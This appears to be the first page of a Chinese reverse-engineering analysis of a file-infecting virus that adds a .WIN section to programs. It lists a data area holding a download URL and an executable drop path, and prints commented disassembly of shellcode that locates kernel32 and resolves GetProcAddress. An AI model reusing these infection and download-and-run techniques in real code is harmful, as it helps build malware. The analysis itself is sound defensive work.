二、被感染文件中加入的内容及其行为分析 程序被感染后,加入一个.WIN节,入口点指向其中 最前面0C5的内容是“数据区”,其中可明显看出有意义的部分,包括以下内容(以下地址为相对.WIN节头的偏移): *************************************************************************************************** 1. 预留空间保存变量(在被感染程序运行时,先运行的代码会向这部分写入数据) +00H urlmon的基址 +04H GetProcAddress函数地址 +08H LoadLibraryA函数地址 +0CH FreeLibrary函数地址 +10H ExitProcess函数地址 +14H GetModuleHandleA函数地址 +18H URLDownloadToFileA函数地址 +1CH WinExec函数地址 2. 用到的字符串常量: +20H "LoadLibraryA",0 +2DH "FreeLibrary",0 +39H "ExitProcess",0 +45H "GetModuleHandleA",0 +56H "WinExec",0 +5FH "urlmon",0 +66H "URLDownloadToFileA",0 +79H "http://ttt.wokaon.cn/main.exe",0 +97H "c:\Program Files\Common Files\WIN.exe",0 …………………… 3. 保存的程序原基址和入口点,代码执行后读取这里,并跳回原入口点执行。要修复被感染文件,也要知道这两个值: +BDH 程序原ImageBase +C1H 程序原AddressOfEntryPoint *************************************************************************************************** +C5H开始,将是加入的代码(病毒主文件内存中的13152BF8到13152D88的内容) 我直接在病毒主文件里面看了,OD里反汇编分析了下,大致如下: 13152C04是入口。 *************************************************************************************************** 13152BFD 58 pop eax ; pop得到EIP,即此句代码位置 13152BFE 83E8 05 sub eax, 5 ; call代码的位置 13152C01 C3 retn 13152C02 8BC0 mov eax, eax 13152C04 55 push ebp ; 入口 13152C05 8BEC mov ebp, esp 13152C07 83C4 EC add esp, -14 13152C0A 53 push ebx 13152C0B 56 push esi 13152C0C 57 push edi 13152C0D 8D75 FC lea esi, dword ptr [ebp-4] ; 程序初始化时,堆栈中的指向kernel32.dll内的一个地址 *************************************************************************************************** 接下来一段是花指令: *************************************************************************************************** 13152C10 EB 01 jmp short 13152C13 13152C12 90 nop ; 原是E8,是加花 13152C13 90 nop 13152C14 90 nop 13152C15 90 nop 13152C16 90 nop 13152C17 90 nop 13152C18 90 nop 13152C19 EB 01 jmp short 13152C1C 13152C1B 90 nop ; 原是E8,是加花 13152C1C 90 nop 13152C1D 90 nop *************************************************************************************************** 下面才接着又是有意义的: *************************************************************************************************** 13152C1E /EB 0F jmp short 13152C2F 13152C20 |8138 4D5A9000 cmp dword ptr [eax], 905A4D ; 找kernel32.dll的MZ头,定位其基址 13152C26 |74 12 je short 13152C3A ; 找到后跳出,这时eax为kernel32.dll的基址 13152C28 |2D 00100000 sub eax, 1000 13152C2D ^|EB F1 jmp short 13152C20 13152C2F \8B4424 14 mov eax, dword ptr [esp+14] 13152C33 25 0000FFFF and eax, FFFF0000 13152C38 ^ EB E6 jmp short 13152C20 13152C3A 8945 FC mov dword ptr [ebp-4], eax ; 保存kernel32.dll基址 *************************************************************************************************** 通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址,循环后退找kernel32.dll的DOS文件头(MZ)所在位置,从而定位kernel32.dll的基址 *************************************************************************************************** 13152C3D E8 B6FFFFFF call 13152BF8 ; 定位代码位置 13152C42 2D C5000000 sub eax, 0C5 ; eax=.WIN节头 13152C47 8945 F4 mov dword ptr [ebp-C], eax ; 保存.WIN节头地址 *************************************************************************************************** call到的子函数看前面,通过一个虚假的call来诱使EIP入栈,再pop出来,从而在内存中定位了自己的代码位置,确定了.WIN节头地址,从而在读写前面C5H大小的数据区时就有目标了。 *************************************************************************************************** 13152C4A 8B06 mov eax, dword ptr [esi] ; esi=ebp-4,此时为kernel32.dll基址 13152C4C 8B40 3C mov eax, dword ptr [eax+3C] ; MZ头地址+3C,PE头地址 13152C4F 0306 add eax, dword ptr [esi] 13152C51 8B40 78 mov eax, dword ptr [eax+78] ; PE偏移78H,DataDirectory开头,输出表地址 13152C54 0306 add eax, dword ptr [esi] 13152C56 8BC8 mov ecx, eax ; ecx=输出表VA 13152C58 8B51 20 mov edx, dword ptr [ecx+20] ; AddressOfNames 13152C5B 0316 add edx, dword ptr [esi] 13152C5D 8B59 24 mov ebx, dword ptr [ecx+24] ; AddressOfNameOrdinals 13152C60 031E add ebx, dword ptr [esi] 13152C62 895D F0 mov dword ptr [ebp-10], ebx ; AddressOfNameOrdinals 13152C65 8B59 1C mov ebx, dword ptr [ecx+1C] ; AddressOfFunctions 13152C68 031E add ebx, dword ptr [esi] 13152C6A 895D EC mov dword ptr [ebp-14], ebx ; AddressOfFunctions 13152C6D 8B41 18 mov eax, dword ptr [ecx+18] ; NumberOfNames 13152C70 8BC8 mov ecx, eax 13152C72 49 dec ecx 13152C73 85C9 test ecx, ecx 13152C75 72 5A jb short 13152CD1 13152C77 41 inc ecx *************************************************************************************************** 这里用到PE文件的知识了,通过读取kernel32.dll的PE文件结构,找到并读取其输出表,目的,当然是为了在输出表里检索函数。 *************************************************************************************************** 13152C78 33C0 xor eax, eax 13152C7A 8BD8 mov ebx, eax ; eax=第几个函数(0开始)此处为循环,目的是为了找到GetProcAddressA函数的地址 13152C7C C1E3 02 shl ebx, 2 ; ebx*4 13152C7F 03DA add ebx, edx ; edx=AddressOfNames 13152C81 8B3B mov edi, dword ptr [ebx] 13152C83 033E add edi, dword ptr [esi] 13152C85 813F 47657450 cmp dword ptr [edi], 50746547 ; GetP 13152C8B 75 40 jnz short 13152CCD 13152C8D 8BDF mov ebx, edi 13152C8F 83C3 04 add ebx, 4 13152C92 813B 726F6341 cmp dword ptr [ebx], 41636F72 ; rocA 13152C98 75 33 jnz short 13152CCD 13152C9A 8BDF mov ebx, edi 13152C9C 83C3 08 add ebx, 8 13152C9F 813B 64647265 cmp dword ptr [ebx], 65726464 ; ddre 13152CA5 75 26 jnz short 13152CCD 13152CA7 83C7 0C add edi, 0C 13152CAA 66:813F 7373 cmp word ptr [edi], 7373 ; ss 13152CAF 75 1C jnz short 13152CCD 13152CB1 8BD0 mov edx, eax 13152CB3 03D2 add edx, edx 13152CB5 0355 F0 add edx, dword ptr [ebp-10] ; AddressOfNameOrdinals 13152CB8 0FB712 movzx edx, word ptr [edx] 13152CBB C1E2 02 shl edx, 2 13152CBE 0355 EC add edx, dword ptr [ebp-14] ; AddressOfFunctions 13152CC1 8B12 mov edx, dword ptr [edx] 13152CC3 0316 add edx, dword ptr [esi] ; edx=函数地址 13152CC5 8B4D F4 mov ecx, dword ptr [ebp-C] ; ecx=.WIN段首VA 13152CC8 8951 04 mov dword ptr [ecx+4], edx ; 保存GetProcAddress的VA 13152CCB EB 04 jmp short 13152CD1 13152CCD 40 inc eax 13152CCE 49 dec ecx 13152CCF ^ 75 A9 jnz short 13152C7A
[1] [2] 下一页 |